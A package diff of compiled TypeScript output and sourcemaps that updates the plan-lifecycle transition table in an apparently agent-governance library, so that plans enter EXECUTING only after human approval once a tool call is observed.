MAAM,CAAA;IAClB,SAAS,CAAC,EAAE,MAAM,CAAA;CACnB;AAED,yCAAyC;AACzC,MAAM,WAAW,aAAa;IAC5B,KAAK,EAAE,UAAU,EAAE,CAAA;IACnB,KAAK,EAAE,MAAM,CAAA;IACb,IAAI,EAAE,MAAM,CAAA;IACZ,KAAK,EAAE,MAAM,CAAA;CACd;AAED,6BAA6B;AAC7B,MAAM,WAAW,UAAU;IACzB,IAAI,CAAC,EAAE,MAAM,CAAA;IACb,KAAK,CAAC,EAAE,MAAM,CAAA;IACd,eAAe,CAAC,EAAE,MAAM,CAAA;IACxB,SAAS,CAAC,EAAE,MAAM,CAAA;IAClB,YAAY,CAAC,EAAE,OAAO,CAAA;CACvB;AAED,MAAM,WAAW,aAAa;IAC5B,QAAQ,EAAE,MAAM,CAAA;IAChB,UAAU,EAAE,MAAM,CAAA;IAClB,YAAY,EAAE,MAAM,CAAA;IACpB;;;;;;;;;;OAUG;IACH,kBAAkB,EAAE,OAAO,CAAA;IAC3B;;;;OAIG;IACH,kBAAkB,EAAE,OAAO,CAAA;IAC3B,2EAA2E;IAC3E,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,6EAA6E;IAC7E,QAAQ,CAAC,EAAE,MAAM,GAAG,IAAI,CAAA;IACxB,SAAS,EAAE,MAAM,CAAA;IACjB,MAAM,EACF,gBAAgB,GAChB,UAAU,GACV,UAAU,GACV,UAAU;IACZ,qEAAqE;OACnE,UAAU,GACV,MAAM,CAAA;IACV,UAAU,EAAE,MAAM,GAAG,IAAI,CAAA;CAC1B;AAED,MAAM,WAAW,kBAAkB;IACjC,KAAK,EAAE,aAAa,EAAE,CAAA;IACtB,KAAK,EAAE,MAAM,CAAA;CACd"}

package/dist/sop.js

@@ -6,7 +6,7 @@
  * SOP proof tree structures used by the SSL (Self-Supervised Learning)
  * synthesis pipeline.
  *
- * HLD §3.4 (SOP Registry), LLD 01-data-architecture §3.1, LLD #6
+ * HLD §3.4 (SOP Registry)
  *
  * @module
  */
@@ -37,7 +37,7 @@ exports.VALID_SOP_TRANSITIONS = [
  * in the UI at the moment someone changes a state, and it must describe the
  * system rather than the design.
  *
- * ## History (TD-277)
+ * ## History
  *
  * This value has been wrong in both directions. It first said
  * `HYPOTHESIZED: 'SHADOW'` and `REFINED: 'SHADOW'` while nothing evaluated
@@ -77,20 +77,21 @@ exports.ENFORCEMENT_BY_STATE = {
  * The valid lifecycle transitions for a stored plan.
  *
  * REJECTED is reachable only from PENDING_APPROVAL — a plan denied before
- * execution ever starts. COMPLETED (via a closure action) is reachable
- * from every non-terminal state, since a plan can be closed with or
- * without ever having been formally approved, and with or without a
- * deviation ever having flipped it to EXECUTING.
+ * execution ever starts. EXECUTING is reachable only from APPROVED, when the
+ * gates observe the first tool call after approval; a plan whose session runs
+ * before approval stays PENDING_APPROVAL, so a reviewer can still decide it.
+ * COMPLETED (via a closure action) is reachable from every non-terminal
+ * state, since a plan can be closed with or without ever having been
+ * formally approved or observed running.
  *
  * @see HLD §3.4.1 — Stored plan compliance trail
  */
 exports.VALID_PLAN_TRANSITIONS = [
     { from: 'PENDING_APPROVAL', to: 'APPROVED', description: 'Human approves the plan' },
     { from: 'PENDING_APPROVAL', to: 'REJECTED', description: 'Human rejects the plan before execution' },
-    { from: 'PENDING_APPROVAL', to: 'EXECUTING', description: 'A deviation is recorded before formal approval' },
     { from: 'PENDING_APPROVAL', to: 'COMPLETED', description: 'Plan closed directly, no approval step required' },
-    { from: 'APPROVED', to: 'EXECUTING', description: 'First deviation recorded after approval' },
-    { from: 'APPROVED', to: 'COMPLETED', description: 'Plan closed after approval, no deviation ever recorded' },
+    { from: 'APPROVED', to: 'EXECUTING', description: 'The gates observe the first tool call after approval' },
+    { from: 'APPROVED', to: 'COMPLETED', description: 'Plan closed after approval, before any tool call was observed' },
     { from: 'EXECUTING', to: 'COMPLETED', description: 'Execution finishes and the plan is closed' },
 ];
 //# sourceMappingURL=sop.js.map

package/dist/sop.js.map

@@ -1 +1 @@
-{"version":3,"file":"sop.js","sourceRoot":"","sources":["../src/sop.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;AAibH;;;;GAIG;AACU,QAAA,qBAAqB,GAA2F;IAC3H,EAAE,IAAI,EAAE,OAAO,EAAE,EAAE,EAAE,gBAAgB,EAAE,WAAW,EAAE,mBAAmB,EAAE;IACzE,EAAE,IAAI,EAAE,gBAAgB,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,8BAA8B,EAAE;IACxF,EAAE,IAAI,EAAE,gBAAgB,EAAE,EAAE,EAAE,OAAO,EAAE,WAAW,EAAE,2BAA2B,EAAE;IACjF,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,cAAc,EAAE,WAAW,EAAE,uBAAuB,EAAE;IAC/E,EAAE,IAAI,EAAE,cAAc,EAAE,EAAE,EAAE,SAAS,EAAE,WAAW,EAAE,gCAAgC,EAAE;IACtF,EAAE,IAAI,EAAE,cAAc,EAAE,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,sBAAsB,EAAE;IAChF,EAAE,IAAI,EAAE,SAAS,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,+BAA+B,EAAE;IAClF,EAAE,IAAI,EAAE,SAAS,EAAE,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,mBAAmB,EAAE;IACxE,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,kCAAkC,EAAE;IACzF,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,gBAAgB,EAAE,WAAW,EAAE,yCAAyC,EAAE;CAC3F,CAAA;AAEV;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AACU,QAAA,oBAAoB,GAG7B;IACF,KAAK,EAAE,MAAM;IACb,cAAc,EAAE,MAAM;IACtB,SAAS,EAAE,MAAM;IACjB,YAAY,EAAE,QAAQ;IACtB,OAAO,EAAE,QAAQ;IACjB,SAAS,EAAE,QAAQ;IACnB,WAAW,EAAE,MAAM;CACpB,CAAA;AAwED;;;;;;;;;;GAUG;AACU,QAAA,sBAAsB,GAA6F;IAC9H,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,UAAU,EAAE,WAAW,EAAE,yBAAyB,EAAE;IACpF,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,UAAU,EAAE,WAAW,EAAE,yCAAyC,EAAE;IACpG,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,gDAAgD,EAAE;IAC5G,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,iDAAiD,EAAE;IAC7G,EAAE,IAAI,EAAE,UAAU,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,yCAAyC,EAAE;IAC7F,EAAE,IAAI,EAAE,UAAU,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,wDAAwD,EAAE;IAC5G,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,2CAA2C,EAAE;CACxF,CAAA"}
+{"version":3,"file":"sop.js","sourceRoot":"","sources":["../src/sop.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;AAibH;;;;GAIG;AACU,QAAA,qBAAqB,GAA2F;IAC3H,EAAE,IAAI,EAAE,OAAO,EAAE,EAAE,EAAE,gBAAgB,EAAE,WAAW,EAAE,mBAAmB,EAAE;IACzE,EAAE,IAAI,EAAE,gBAAgB,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,8BAA8B,EAAE;IACxF,EAAE,IAAI,EAAE,gBAAgB,EAAE,EAAE,EAAE,OAAO,EAAE,WAAW,EAAE,2BAA2B,EAAE;IACjF,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,cAAc,EAAE,WAAW,EAAE,uBAAuB,EAAE;IAC/E,EAAE,IAAI,EAAE,cAAc,EAAE,EAAE,EAAE,SAAS,EAAE,WAAW,EAAE,gCAAgC,EAAE;IACtF,EAAE,IAAI,EAAE,cAAc,EAAE,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,sBAAsB,EAAE;IAChF,EAAE,IAAI,EAAE,SAAS,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,+BAA+B,EAAE;IAClF,EAAE,IAAI,EAAE,SAAS,EAAE,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,mBAAmB,EAAE;IACxE,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,kCAAkC,EAAE;IACzF,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,gBAAgB,EAAE,WAAW,EAAE,yCAAyC,EAAE;CAC3F,CAAA;AAEV;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AACU,QAAA,oBAAoB,GAG7B;IACF,KAAK,EAAE,MAAM;IACb,cAAc,EAAE,MAAM;IACtB,SAAS,EAAE,MAAM;IACjB,YAAY,EAAE,QAAQ;IACtB,OAAO,EAAE,QAAQ;IACjB,SAAS,EAAE,QAAQ;IACnB,WAAW,EAAE,MAAM;CACpB,CAAA;AAiFD;;;;;;;;;;;;GAYG;AACU,QAAA,sBAAsB,GAA6F;IAC9H,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,UAAU,EAAE,WAAW,EAAE,yBAAyB,EAAE;IACpF,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,UAAU,EAAE,WAAW,EAAE,yCAAyC,EAAE;IACpG,EAAE,IAAI,EAAE,kBAAkB,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,iDAAiD,EAAE;IAC7G,EAAE,IAAI,EAAE,UAAU,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,sDAAsD,EAAE;IAC1G,EAAE,IAAI,EAAE,UAAU,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,+DAA+D,EAAE;IACnH,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,WAAW,EAAE,WAAW,EAAE,2CAA2C,EAAE;CACxF,CAAA"}